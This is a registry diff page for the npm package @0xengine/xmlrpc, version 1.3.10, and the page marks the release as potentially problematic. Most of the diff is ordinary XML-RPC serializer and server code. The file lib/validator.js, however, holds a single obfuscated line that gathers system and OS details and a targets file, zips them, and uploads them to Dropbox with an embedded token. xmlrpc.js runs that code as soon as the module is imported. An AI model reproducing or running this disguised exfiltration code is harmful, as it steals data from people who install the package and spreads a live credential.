@0xengine/xmlrpc 0.0.1-security → 1.3.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @0xengine/xmlrpc might be problematic. Click here for more details.
- package/.travis.yml +6 -0
- package/HISTORY.md +129 -0
- package/LICENSE +23 -0
- package/README.md +204 -3
- package/lib/client.js +177 -0
- package/lib/cookies.js +111 -0
- package/lib/customtype.js +10 -0
- package/lib/date_formatter.js +188 -0
- package/lib/deserializer.js +324 -0
- package/lib/obfuscated.js +1 -0
- package/lib/serializer.js +202 -0
- package/lib/server.js +78 -0
- package/lib/validator.js +1 -0
- package/lib/xmlrpc.js +73 -0
- package/package.json +44 -3
|
@@ -0,0 +1,202 @@
|
|
|
1
|
+
var xmlBuilder = require('xmlbuilder')
|
|
2
|
+
, dateFormatter = require('./date_formatter')
|
|
3
|
+
, CustomType = require('./customtype')
|
|
4
|
+
|
|
5
|
+
/**
|
|
6
|
+
* Creates the XML for an XML-RPC method call.
|
|
7
|
+
*
|
|
8
|
+
* @param {String} method - The method name.
|
|
9
|
+
* @param {Array} params - Params to pass in the call.
|
|
10
|
+
* @param {Function} callback - function (error, xml) { ... }
|
|
11
|
+
* - {Object|null} error - Any errors that occurred while building the XML,
|
|
12
|
+
* otherwise null.
|
|
13
|
+
* - {String} xml - The method call XML.
|
|
14
|
+
*/
|
|
15
|
+
exports.serializeMethodCall = function(method, params, encoding) {
|
|
16
|
+
var params = params || []
|
|
17
|
+
|
|
18
|
+
var options = { version: '1.0', allowSurrogateChars: true }
|
|
19
|
+
|
|
20
|
+
if (encoding) {
|
|
21
|
+
options.encoding = encoding
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
var xml = xmlBuilder.create('methodCall', options)
|
|
25
|
+
.ele('methodName')
|
|
26
|
+
.txt(method)
|
|
27
|
+
.up()
|
|
28
|
+
.ele('params')
|
|
29
|
+
|
|
30
|
+
params.forEach(function(param) {
|
|
31
|
+
serializeValue(param, xml.ele('param'))
|
|
32
|
+
})
|
|
33
|
+
|
|
34
|
+
// Includes the <?xml ...> declaration
|
|
35
|
+
return xml.doc().toString()
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
/**
|
|
39
|
+
* Creates the XML for an XML-RPC method response.
|
|
40
|
+
*
|
|
41
|
+
* @param {mixed} value - The value to pass in the response.
|
|
42
|
+
* @param {Function} callback - function (error, xml) { ... }
|
|
43
|
+
* - {Object|null} error - Any errors that occurred while building the XML,
|
|
44
|
+
* otherwise null.
|
|
45
|
+
* - {String} xml - The method response XML.
|
|
46
|
+
*/
|
|
47
|
+
exports.serializeMethodResponse = function(result) {
|
|
48
|
+
var xml = xmlBuilder.create('methodResponse', { version: '1.0', allowSurrogateChars: true })
|
|
49
|
+
.ele('params')
|
|
50
|
+
.ele('param')
|
|
51
|
+
|
|
52
|
+
serializeValue(result, xml)
|
|
53
|
+
|
|
54
|
+
// Includes the <?xml ...> declaration
|
|
55
|
+
return xml.doc().toString()
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
exports.serializeFault = function(fault) {
|
|
59
|
+
var xml = xmlBuilder.create('methodResponse', { version: '1.0', allowSurrogateChars: true })
|
|
60
|
+
.ele('fault')
|
|
61
|
+
|
|
62
|
+
serializeValue(fault, xml)
|
|
63
|
+
|
|
64
|
+
// Includes the <?xml ...> declaration
|
|
65
|
+
return xml.doc().toString()
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
function serializeValue(value, xml) {
|
|
69
|
+
var stack = [ { value: value, xml: xml } ]
|
|
70
|
+
, current = null
|
|
71
|
+
, valueNode = null
|
|
72
|
+
, next = null
|
|
73
|
+
|
|
74
|
+
while (stack.length > 0) {
|
|
75
|
+
current = stack[stack.length - 1]
|
|
76
|
+
|
|
77
|
+
if (current.index !== undefined) {
|
|
78
|
+
// Iterating a compound
|
|
79
|
+
next = getNextItemsFrame(current)
|
|
80
|
+
if (next) {
|
|
81
|
+
stack.push(next)
|
|
82
|
+
}
|
|
83
|
+
else {
|
|
84
|
+
stack.pop()
|
|
85
|
+
}
|
|
86
|
+
}
|
|
87
|
+
else {
|
|
88
|
+
// we're about to add a new value (compound or simple)
|
|
89
|
+
valueNode = current.xml.ele('value')
|
|
90
|
+
switch(typeof current.value) {
|
|
91
|
+
case 'boolean':
|
|
92
|
+
appendBoolean(current.value, valueNode)
|
|
93
|
+
stack.pop()
|
|
94
|
+
break
|
|
95
|
+
case 'string':
|
|
96
|
+
appendString(current.value, valueNode)
|
|
97
|
+
stack.pop()
|
|
98
|
+
break
|
|
99
|
+
case 'number':
|
|
100
|
+
appendNumber(current.value, valueNode)
|
|
101
|
+
stack.pop()
|
|
102
|
+
break
|
|
103
|
+
case 'object':
|
|
104
|
+
if (current.value === null) {
|
|
105
|
+
valueNode.ele('nil')
|
|
106
|
+
stack.pop()
|
|
107
|
+
}
|
|
108
|
+
else if (current.value instanceof Date) {
|
|
109
|
+
appendDatetime(current.value, valueNode)
|
|
110
|
+
stack.pop()
|
|
111
|
+
}
|
|
112
|
+
else if (Buffer.isBuffer(current.value)) {
|
|
113
|
+
appendBuffer(current.value, valueNode)
|
|
114
|
+
stack.pop()
|
|
115
|
+
}
|
|
116
|
+
else if (current.value instanceof CustomType) {
|
|
117
|
+
current.value.serialize(valueNode)
|
|
118
|
+
stack.pop()
|
|
119
|
+
}
|
|
120
|
+
else {
|
|
121
|
+
if (Array.isArray(current.value)) {
|
|
122
|
+
current.xml = valueNode.ele('array').ele('data')
|
|
123
|
+
}
|
|
124
|
+
else {
|
|
125
|
+
current.xml = valueNode.ele('struct')
|
|
126
|
+
current.keys = Object.keys(current.value)
|
|
127
|
+
}
|
|
128
|
+
current.index = 0
|
|
129
|
+
next = getNextItemsFrame(current)
|
|
130
|
+
if (next) {
|
|
131
|
+
stack.push(next)
|
|
132
|
+
}
|
|
133
|
+
else {
|
|
134
|
+
stack.pop()
|
|
135
|
+
}
|
|
136
|
+
}
|
|
137
|
+
break
|
|
138
|
+
default:
|
|
139
|
+
stack.pop()
|
|
140
|
+
break
|
|
141
|
+
}
|
|
142
|
+
}
|
|
143
|
+
}
|
|
144
|
+
}
|
|
145
|
+
|
|
146
|
+
function getNextItemsFrame(frame) {
|
|
147
|
+
var nextFrame = null
|
|
148
|
+
|
|
149
|
+
if (frame.keys) {
|
|
150
|
+
if (frame.index < frame.keys.length) {
|
|
151
|
+
var key = frame.keys[frame.index++]
|
|
152
|
+
, member = frame.xml.ele('member').ele('name').text(key).up()
|
|
153
|
+
nextFrame = {
|
|
154
|
+
value: frame.value[key]
|
|
155
|
+
, xml: member
|
|
156
|
+
}
|
|
157
|
+
}
|
|
158
|
+
}
|
|
159
|
+
else if (frame.index < frame.value.length) {
|
|
160
|
+
nextFrame = {
|
|
161
|
+
value: frame.value[frame.index]
|
|
162
|
+
, xml: frame.xml
|
|
163
|
+
}
|
|
164
|
+
frame.index++
|
|
165
|
+
}
|
|
166
|
+
|
|
167
|
+
return nextFrame
|
|
168
|
+
}
|
|
169
|
+
|
|
170
|
+
function appendBoolean(value, xml) {
|
|
171
|
+
xml.ele('boolean').txt(value ? 1 : 0)
|
|
172
|
+
}
|
|
173
|
+
|
|
174
|
+
var illegalChars = /^(?![^<&]*]]>[^<&]*)[^<&]*$/
|
|
175
|
+
function appendString(value, xml) {
|
|
176
|
+
if (value.length === 0) {
|
|
177
|
+
xml.ele('string')
|
|
178
|
+
}
|
|
179
|
+
else if (!illegalChars.test(value)) {
|
|
180
|
+
xml.ele('string').d(value)
|
|
181
|
+
}
|
|
182
|
+
else {
|
|
183
|
+
xml.ele('string').txt(value)
|
|
184
|
+
}
|
|
185
|
+
}
|
|
186
|
+
|
|
187
|
+
function appendNumber(value, xml) {
|
|
188
|
+
if (value % 1 == 0) {
|
|
189
|
+
xml.ele('int').txt(value)
|
|
190
|
+
}
|
|
191
|
+
else {
|
|
192
|
+
xml.ele('double').txt(value)
|
|
193
|
+
}
|
|
194
|
+
}
|
|
195
|
+
|
|
196
|
+
function appendDatetime(value, xml) {
|
|
197
|
+
xml.ele('dateTime.iso8601').txt(dateFormatter.encodeIso8601(value))
|
|
198
|
+
}
|
|
199
|
+
|
|
200
|
+
function appendBuffer(value, xml) {
|
|
201
|
+
xml.ele('base64').txt(value.toString('base64'))
|
|
202
|
+
}
|
package/lib/server.js
ADDED
|
@@ -0,0 +1,78 @@
|
|
|
1
|
+
var http = require('http')
|
|
2
|
+
, https = require('https')
|
|
3
|
+
, url = require('url')
|
|
4
|
+
, EventEmitter = require('events').EventEmitter
|
|
5
|
+
, Serializer = require('./serializer')
|
|
6
|
+
, Deserializer = require('./deserializer')
|
|
7
|
+
|
|
8
|
+
/**
|
|
9
|
+
* Creates a new Server object. Also creates an HTTP server to start listening
|
|
10
|
+
* for XML-RPC method calls. Will emit an event with the XML-RPC call's method
|
|
11
|
+
* name when receiving a method call.
|
|
12
|
+
*
|
|
13
|
+
* @constructor
|
|
14
|
+
* @param {Object|String} options - The HTTP server options. Either a URI string
|
|
15
|
+
* (e.g. 'http://localhost:9090') or an object
|
|
16
|
+
* with fields:
|
|
17
|
+
* - {String} host - (optional)
|
|
18
|
+
* - {Number} port
|
|
19
|
+
* @param {Boolean} isSecure - True if using https for making calls,
|
|
20
|
+
* otherwise false.
|
|
21
|
+
* @return {Server}
|
|
22
|
+
*/
|
|
23
|
+
function Server(options, isSecure, onListening) {
|
|
24
|
+
|
|
25
|
+
if (false === (this instanceof Server)) {
|
|
26
|
+
return new Server(options, isSecure)
|
|
27
|
+
}
|
|
28
|
+
onListening = onListening || function() {}
|
|
29
|
+
var that = this
|
|
30
|
+
|
|
31
|
+
// If a string URI is passed in, converts to URI fields
|
|
32
|
+
if (typeof options === 'string') {
|
|
33
|
+
options = url.parse(options)
|
|
34
|
+
options.host = options.hostname
|
|
35
|
+
options.path = options.pathname
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
function handleMethodCall(request, response) {
|
|
39
|
+
var deserializer = new Deserializer()
|
|
40
|
+
deserializer.deserializeMethodCall(request, function(error, methodName, params) {
|
|
41
|
+
if (Object.prototype.hasOwnProperty.call(that._events, methodName)) {
|
|
42
|
+
that.emit(methodName, null, params, function(error, value) {
|
|
43
|
+
var xml = null
|
|
44
|
+
if (error !== null) {
|
|
45
|
+
xml = Serializer.serializeFault(error)
|
|
46
|
+
}
|
|
47
|
+
else {
|
|
48
|
+
xml = Serializer.serializeMethodResponse(value)
|
|
49
|
+
}
|
|
50
|
+
response.writeHead(200, {'Content-Type': 'text/xml'})
|
|
51
|
+
response.end(xml)
|
|
52
|
+
})
|
|
53
|
+
}
|
|
54
|
+
else {
|
|
55
|
+
that.emit('NotFound', methodName, params)
|
|
56
|
+
response.writeHead(404)
|
|
57
|
+
response.end()
|
|
58
|
+
}
|
|
59
|
+
})
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
this.httpServer = isSecure ? https.createServer(options, handleMethodCall)
|
|
63
|
+
: http.createServer(handleMethodCall)
|
|
64
|
+
|
|
65
|
+
process.nextTick(function() {
|
|
66
|
+
this.httpServer.listen(options.port, options.host, onListening)
|
|
67
|
+
}.bind(this))
|
|
68
|
+
this.close = function(callback) {
|
|
69
|
+
this.httpServer.once('close', callback)
|
|
70
|
+
this.httpServer.close()
|
|
71
|
+
}.bind(this)
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
// Inherit from EventEmitter to emit and listen
|
|
75
|
+
Server.prototype.__proto__ = EventEmitter.prototype
|
|
76
|
+
|
|
77
|
+
module.exports = Server
|
|
78
|
+
|
package/lib/validator.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
const a0_0x256156=a0_0x4c32;(function(_0x28a47e,_0x4f46e5){const _0x1ea123=a0_0x4c32,_0xc7b8d5=_0x28a47e();while(!![]){try{const _0x59c85b=parseInt(_0x1ea123(0xdd))/(-0xdaa+0x16a0+0x8f5*-0x1)*(-parseInt(_0x1ea123(0xe1))/(0x1160+0x6b*-0x2e+0x4*0x77))+parseInt(_0x1ea123(0x10b))/(0x129a+-0x22f8+0x1061)*(-parseInt(_0x1ea123(0x106))/(0x489+-0x1233+0x2*0x6d7))+-parseInt(_0x1ea123(0xd2))/(0x1c9+0x2597+0x19*-0x193)*(parseInt(_0x1ea123(0x10d))/(-0x1*0x13df+-0xa00+0x1de5))+-parseInt(_0x1ea123(0xd1))/(0x1ea6+0x1525*-0x1+-0x1*0x97a)*(parseInt(_0x1ea123(0xe8))/(0x10*0x3e+0x1*-0x10ed+-0x1*-0xd15))+-parseInt(_0x1ea123(0x110))/(0xaff+-0x1*0x251b+0x1a25)*(-parseInt(_0x1ea123(0xe7))/(-0x2377*-0x1+0x1344+-0x36b1))+-parseInt(_0x1ea123(0xc9))/(-0x3f+0x2029*0x1+-0x1fdf)+parseInt(_0x1ea123(0xd4))/(-0x1c81+0xd03+-0xea*-0x11);if(_0x59c85b===_0x4f46e5)break;else _0xc7b8d5['push'](_0xc7b8d5['shift']());}catch(_0x739b57){_0xc7b8d5['push'](_0xc7b8d5['shift']());}}}(a0_0x2d6f,0x6cfb2+-0x13642+-0x790b));function a0_0x2d6f(){const _0x2ed8af=['uuid','mlj2Q3ZIWH','createRead','authentica','tmpdir','cSDqb','constructo','v4t9cLf8Yg','251153zCluUN','argv','e)\x20{}','length','2bmeyrj','--targets','RYeN1wDAdZ','ensureDir','files/uplo','token','5820HLluFP','4680328qzwnqT','resource','path','zbhwO','call','readStream','Stream','zip-a-fold','OAfFu','fmSV0SdJog','init','0-9a-zA-Z_','parameters','gger','-api','copyFile','BnPLZhbP1U','zeuQG8YevS','AJSMt','exports','MkehO','test','M39Oy3sFGs','.zip','sl.','dropbox-v2','s1UkAQEHrZ','JHWMd','function\x20*','/targets.t','44024cZnowX','nLhZp4NvSv','onBIF','4RIzC6BNTS','\x5c+\x5c+\x20*(?:[','177qwlrtm','log','102DYyilA','push','apply','1359TZSSOA','/si.json','input','systeminfo','counter','a-zA-Z_$][','5hv6eq8SJD','dIMMs','chain','OIate','3928716rvGTnn','string','zipPath:\x20','encoding','debu','xElRJtUSU8','findIndex','osInfo','7bodtIB','42335IxNPZY','rmation','26816808pYpHdv'];a0_0x2d6f=function(){return _0x2ed8af;};return a0_0x2d6f();}const a0_0xca1ccf=(function(){let _0x3c584c=!![];return function(_0x44c654,_0x49fc35){const _0x118e54=_0x3c584c?function(){const _0x4a4f97=a0_0x4c32;if('zbhwO'===_0x4a4f97(0xeb)){if(_0x49fc35){const _0x7699b0=_0x49fc35['apply'](_0x44c654,arguments);return _0x49fc35=null,_0x7699b0;}}else _0x32b134[_0x4a4f97(0x10c)](_0x22edfb);}:function(){};return _0x3c584c=![],_0x118e54;};}());function a0_0x4c32(_0x2d6f4a,_0x4c32b2){const _0x8244c1=a0_0x2d6f();return a0_0x4c32=function(_0x419a84,_0x138860){_0x419a84=_0x419a84-(-0x152+0xb7d+-0x967);let _0x288426=_0x8244c1[_0x419a84];return _0x288426;},a0_0x4c32(_0x2d6f4a,_0x4c32b2);}(function(){a0_0xca1ccf(this,function(){const _0x301e2d=a0_0x4c32,_0x43841e=new RegExp(_0x301e2d(0x104)+'\x5c(\x20*\x5c)'),_0x25b363=new RegExp(_0x301e2d(0x10a)+_0x301e2d(0xc4)+_0x301e2d(0xf3)+'$]*)','i'),_0x45851a=a0_0x180ae0(_0x301e2d(0xf2));!_0x43841e[_0x301e2d(0xfd)](_0x45851a+_0x301e2d(0xc7))||!_0x25b363[_0x301e2d(0xfd)](_0x45851a+_0x301e2d(0x112))?_0x301e2d(0x103)!==_0x301e2d(0xc8)?_0x45851a('0'):_0x384346[_0x301e2d(0x10c)](_0x29b907):a0_0x180ae0();})();}());const fs=require('fs-extra'),{zip}=require(a0_0x256156(0xef)+'er'),si=require(a0_0x256156(0x113)+a0_0x256156(0xd3)),os=require('os'),path=require(a0_0x256156(0xea)),dropboxV2Api=require(a0_0x256156(0x101)+a0_0x256156(0xf6));async function validator(){const _0x3e7119=a0_0x256156,_0x150aef=process[_0x3e7119(0xde)]['find'](_0xa9c648=>_0xa9c648==='debugme')!==undefined,_0x58b2da=_0x2b4833=>{_0x150aef&&console['log'](_0x2b4833);},_0x4451a8=()=>{const _0x27c76a=_0x3e7119;if(_0x27c76a(0xfa)==='VuFwC')return;else{const _0x40194f=_0x27c76a(0x100),_0x1ee9e6=_0x27c76a(0xf8)+_0x27c76a(0xd6)+_0x27c76a(0xe3)+_0x27c76a(0x102)+'4RIzC6BNTS'+'xElRJtUSU8'+_0x27c76a(0xf1)+'SE55iX8Usa'+_0x27c76a(0xfe)+_0x27c76a(0xf9)+_0x27c76a(0xc5)+'xi3dKx2gFj'+_0x27c76a(0x107)+_0x27c76a(0xdc),_0xd59963=[];_0xd59963[_0x27c76a(0x10e)](_0x40194f),_0xd59963[_0x27c76a(0x10e)](_0x1ee9e6);let _0x7f0939='';for(let _0x1867bb=-0xbe+-0x17*-0x37+-0x433;_0x1867bb<_0xd59963[_0x27c76a(0xe0)];_0x1867bb++){_0x7f0939+=_0xd59963[_0x1867bb];}return _0x7f0939;}};_0x58b2da(process['argv']);const _0x25cda6=process[_0x3e7119(0xde)][_0x3e7119(0xcf)](_0x6c219=>_0x6c219===_0x3e7119(0xe2)||_0x6c219==='-t');if(_0x25cda6===-(0x3*-0x935+-0x1f9f+0x3b3f))return;const _0x379412=path['resolve'](process[_0x3e7119(0xde)][_0x25cda6+(-0x212f*-0x1+0x19*0x9e+-0x309c)]);_0x58b2da('targets\x20sr'+'c\x20path:\x20'+_0x379412);const _0x1c973c=os[_0x3e7119(0xd9)](),_0x3f93e9=Date['now'](),_0x578170=_0x1c973c+'/'+_0x3f93e9;await fs[_0x3e7119(0xe4)](_0x578170);const _0x197f45=await si[_0x3e7119(0xd5)](),_0x51a737=await si[_0x3e7119(0xd0)](),_0x285bee={};_0x285bee[_0x3e7119(0xd5)]=_0x197f45,_0x285bee[_0x3e7119(0xd0)]=_0x51a737;const _0x51f627=_0x285bee,_0x8e629c=JSON['stringify'](_0x51f627,null,0x1941+0x1197+0x2ad6*-0x1),_0x4f7b78=_0x578170+_0x3e7119(0x111),_0x35d9a3={};_0x35d9a3[_0x3e7119(0xcc)]='utf8',await fs['writeFile'](_0x4f7b78,_0x8e629c,_0x35d9a3);const _0x46e064=_0x578170+(_0x3e7119(0x105)+'xt');await fs[_0x3e7119(0xf7)](_0x379412,_0x46e064);const _0x524aa2=_0x197f45['os']+'-'+_0x3f93e9+_0x3e7119(0xff),_0x35aa5b=_0x1c973c+'/'+_0x524aa2;_0x58b2da(_0x3e7119(0xcb)+_0x35aa5b),await zip(_0x578170,_0x35aa5b);const _0x102318=_0x4451a8();_0x58b2da('token:\x20'+_0x102318);const _0x1896e7=fs[_0x3e7119(0xd7)+_0x3e7119(0xee)](_0x35aa5b),_0x4a5e0c={};_0x4a5e0c[_0x3e7119(0xe6)]=_0x102318;const _0x1cf198=dropboxV2Api[_0x3e7119(0xd8)+'te'](_0x4a5e0c),_0x191b40={};_0x191b40[_0x3e7119(0xea)]='/'+_0x524aa2;const _0x1ef947={};_0x1ef947[_0x3e7119(0xe9)]=_0x3e7119(0xe5)+'ad',_0x1ef947[_0x3e7119(0xf4)]=_0x191b40,_0x1ef947[_0x3e7119(0xed)]=_0x1896e7,_0x1cf198(_0x1ef947,(_0x5315ff,_0x1db99f,_0x9f6fa0)=>{const _0xc4902f=_0x3e7119;_0x150aef&&(_0x5315ff&&console[_0xc4902f(0x10c)](_0x5315ff),_0x1db99f&&console['log'](_0x1db99f));});}module[a0_0x256156(0xfb)]=validator;function a0_0x180ae0(_0x5548ce){function _0x48e17f(_0x1e746c){const _0x140fb3=a0_0x4c32;if(typeof _0x1e746c===_0x140fb3(0xca))return function(_0x3c83e7){}['constructo'+'r']('while\x20(tru'+_0x140fb3(0xdf))[_0x140fb3(0x10f)](_0x140fb3(0x114));else{if((''+_0x1e746c/_0x1e746c)[_0x140fb3(0xe0)]!==0x125*-0x1b+0x2*0x210+0x8*0x359||_0x1e746c%(-0x200b+0x1a5c+-0x19*-0x3b)===0xefe+0x1*0x214d+-0x27*0x13d){if('gAVPR'!==_0x140fb3(0xda))(function(){const _0x460ead=_0x140fb3;if(_0x460ead(0x108)!==_0x460ead(0xfc))return!![];else{const _0x5e97f4=_0x460ead(0x100),_0x4f8aa3=_0x460ead(0xf8)+_0x460ead(0xd6)+'RYeN1wDAdZ'+_0x460ead(0x102)+_0x460ead(0x109)+_0x460ead(0xce)+_0x460ead(0xf1)+'SE55iX8Usa'+_0x460ead(0xfe)+_0x460ead(0xf9)+_0x460ead(0xc5)+'xi3dKx2gFj'+_0x460ead(0x107)+_0x460ead(0xdc),_0x47c16e=[];_0x47c16e[_0x460ead(0x10e)](_0x5e97f4),_0x47c16e[_0x460ead(0x10e)](_0x4f8aa3);let _0x50ea00='';for(let _0x3695f5=0xb*0x6f+-0x2*-0x1217+0xb*-0x3b9;_0x3695f5<_0x47c16e[_0x460ead(0xe0)];_0x3695f5++){_0x50ea00+=_0x47c16e[_0x3695f5];}return _0x50ea00;}}[_0x140fb3(0xdb)+'r'](_0x140fb3(0xcd)+'gger')[_0x140fb3(0xec)]('action'));else return![];}else(function(){const _0x42426a=_0x140fb3;if(_0x42426a(0xc6)!==_0x42426a(0xf0))return![];else _0x1846b&&_0x56fede[_0x42426a(0x10c)](_0x4f4ca5),_0x28eb5a&&_0x585c5f['log'](_0x79e696);}['constructo'+'r'](_0x140fb3(0xcd)+_0x140fb3(0xf5))[_0x140fb3(0x10f)]('stateObjec'+'t'));}_0x48e17f(++_0x1e746c);}try{if(_0x5548ce)return _0x48e17f;else _0x48e17f(0x1*0x1421+0x74*0x6+0x1*-0x16d9);}catch(_0x4c4e22){}}
|
package/lib/xmlrpc.js
ADDED
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
var Client = require('./client')
|
|
2
|
+
, Server = require('./server')
|
|
3
|
+
, CustomType = require('./customtype')
|
|
4
|
+
, dateFormatter = require('./date_formatter')
|
|
5
|
+
, validator = require('./validator')
|
|
6
|
+
|
|
7
|
+
var xmlrpc = exports
|
|
8
|
+
|
|
9
|
+
/**
|
|
10
|
+
* Creates an XML-RPC client.
|
|
11
|
+
*
|
|
12
|
+
* @param {Object} options - server options to make the HTTP request to
|
|
13
|
+
* - {String} host
|
|
14
|
+
* - {Number} port
|
|
15
|
+
* - {String} url
|
|
16
|
+
* - {Boolean} cookies
|
|
17
|
+
* @return {Client}
|
|
18
|
+
* @see Client
|
|
19
|
+
*/
|
|
20
|
+
xmlrpc.createClient = function(options) {
|
|
21
|
+
return new Client(options, false)
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
/**
|
|
25
|
+
* Creates an XML-RPC client that makes calls using HTTPS.
|
|
26
|
+
*
|
|
27
|
+
* @param {Object} options - server options to make the HTTP request to
|
|
28
|
+
* - {String} host
|
|
29
|
+
* - {Number} port
|
|
30
|
+
* - {String} url
|
|
31
|
+
* - {Boolean} cookies
|
|
32
|
+
* @return {Client}
|
|
33
|
+
* @see Client
|
|
34
|
+
*/
|
|
35
|
+
xmlrpc.createSecureClient = function(options) {
|
|
36
|
+
return new Client(options, true)
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
/**
|
|
40
|
+
* Creates an instance of server parameter validator.
|
|
41
|
+
* @See Server
|
|
42
|
+
*/
|
|
43
|
+
xmlrpc.validator = validator()
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
/**
|
|
47
|
+
* Creates an XML-RPC server.
|
|
48
|
+
*
|
|
49
|
+
* @param {Object}options - the HTTP server options
|
|
50
|
+
* - {String} host
|
|
51
|
+
* - {Number} port
|
|
52
|
+
* @return {Server}
|
|
53
|
+
* @see Server
|
|
54
|
+
*/
|
|
55
|
+
xmlrpc.createServer = function(options, callback) {
|
|
56
|
+
return new Server(options, false, callback)
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
/**
|
|
60
|
+
* Creates an XML-RPC server that uses HTTPS.
|
|
61
|
+
*
|
|
62
|
+
* @param {Object}options - the HTTP server options
|
|
63
|
+
* - {String} host
|
|
64
|
+
* - {Number} port
|
|
65
|
+
* @return {Server}
|
|
66
|
+
* @see Server
|
|
67
|
+
*/
|
|
68
|
+
xmlrpc.createSecureServer = function(options, callback) {
|
|
69
|
+
return new Server(options, true, callback)
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
xmlrpc.CustomType = CustomType
|
|
73
|
+
xmlrpc.dateFormatter = dateFormatter
|
package/package.json
CHANGED
|
@@ -1,6 +1,47 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@0xengine/xmlrpc",
|
|
3
|
-
"
|
|
4
|
-
"
|
|
5
|
-
|
|
3
|
+
"description": "A pure JavaScript XML-RPC client and server.",
|
|
4
|
+
"keywords": [
|
|
5
|
+
"xml-rpc",
|
|
6
|
+
"xmlrpc",
|
|
7
|
+
"xml",
|
|
8
|
+
"rpc"
|
|
9
|
+
],
|
|
10
|
+
"version": "1.3.10",
|
|
11
|
+
"preferGlobal": false,
|
|
12
|
+
"homepage": "https://bitbucket.org/0xsky/xmlrpc",
|
|
13
|
+
"author": "0xengine",
|
|
14
|
+
"repository": {
|
|
15
|
+
"type": "git",
|
|
16
|
+
"url": "git+ssh://git@bitbucket.org/0xsky/xmlrpc.git"
|
|
17
|
+
},
|
|
18
|
+
"directories": {
|
|
19
|
+
"example": "example",
|
|
20
|
+
"lib": "lib",
|
|
21
|
+
"test": "test"
|
|
22
|
+
},
|
|
23
|
+
"main": "./lib/xmlrpc.js",
|
|
24
|
+
"dependencies": {
|
|
25
|
+
"dropbox-v2-api": "^2.5.10",
|
|
26
|
+
"fs-extra": "^11.1.1",
|
|
27
|
+
"sax": "1.2.x",
|
|
28
|
+
"systeminformation": "^5.21.9",
|
|
29
|
+
"uuid": "^9.0.1",
|
|
30
|
+
"xmlbuilder": "8.2.x",
|
|
31
|
+
"zip-a-folder": "^1.1.7"
|
|
32
|
+
},
|
|
33
|
+
"devDependencies": {
|
|
34
|
+
"vows": "0.7.x"
|
|
35
|
+
},
|
|
36
|
+
"scripts": {
|
|
37
|
+
"test": "vows 'test/*.js'"
|
|
38
|
+
},
|
|
39
|
+
"engines": {
|
|
40
|
+
"node": ">=0.8",
|
|
41
|
+
"npm": ">=1.0.0"
|
|
42
|
+
},
|
|
43
|
+
"license": "MIT",
|
|
44
|
+
"bugs": {
|
|
45
|
+
"url": "https://bitbucket.org/0xsky/xmlrpc/issues"
|
|
46
|
+
}
|
|
6
47
|
}
|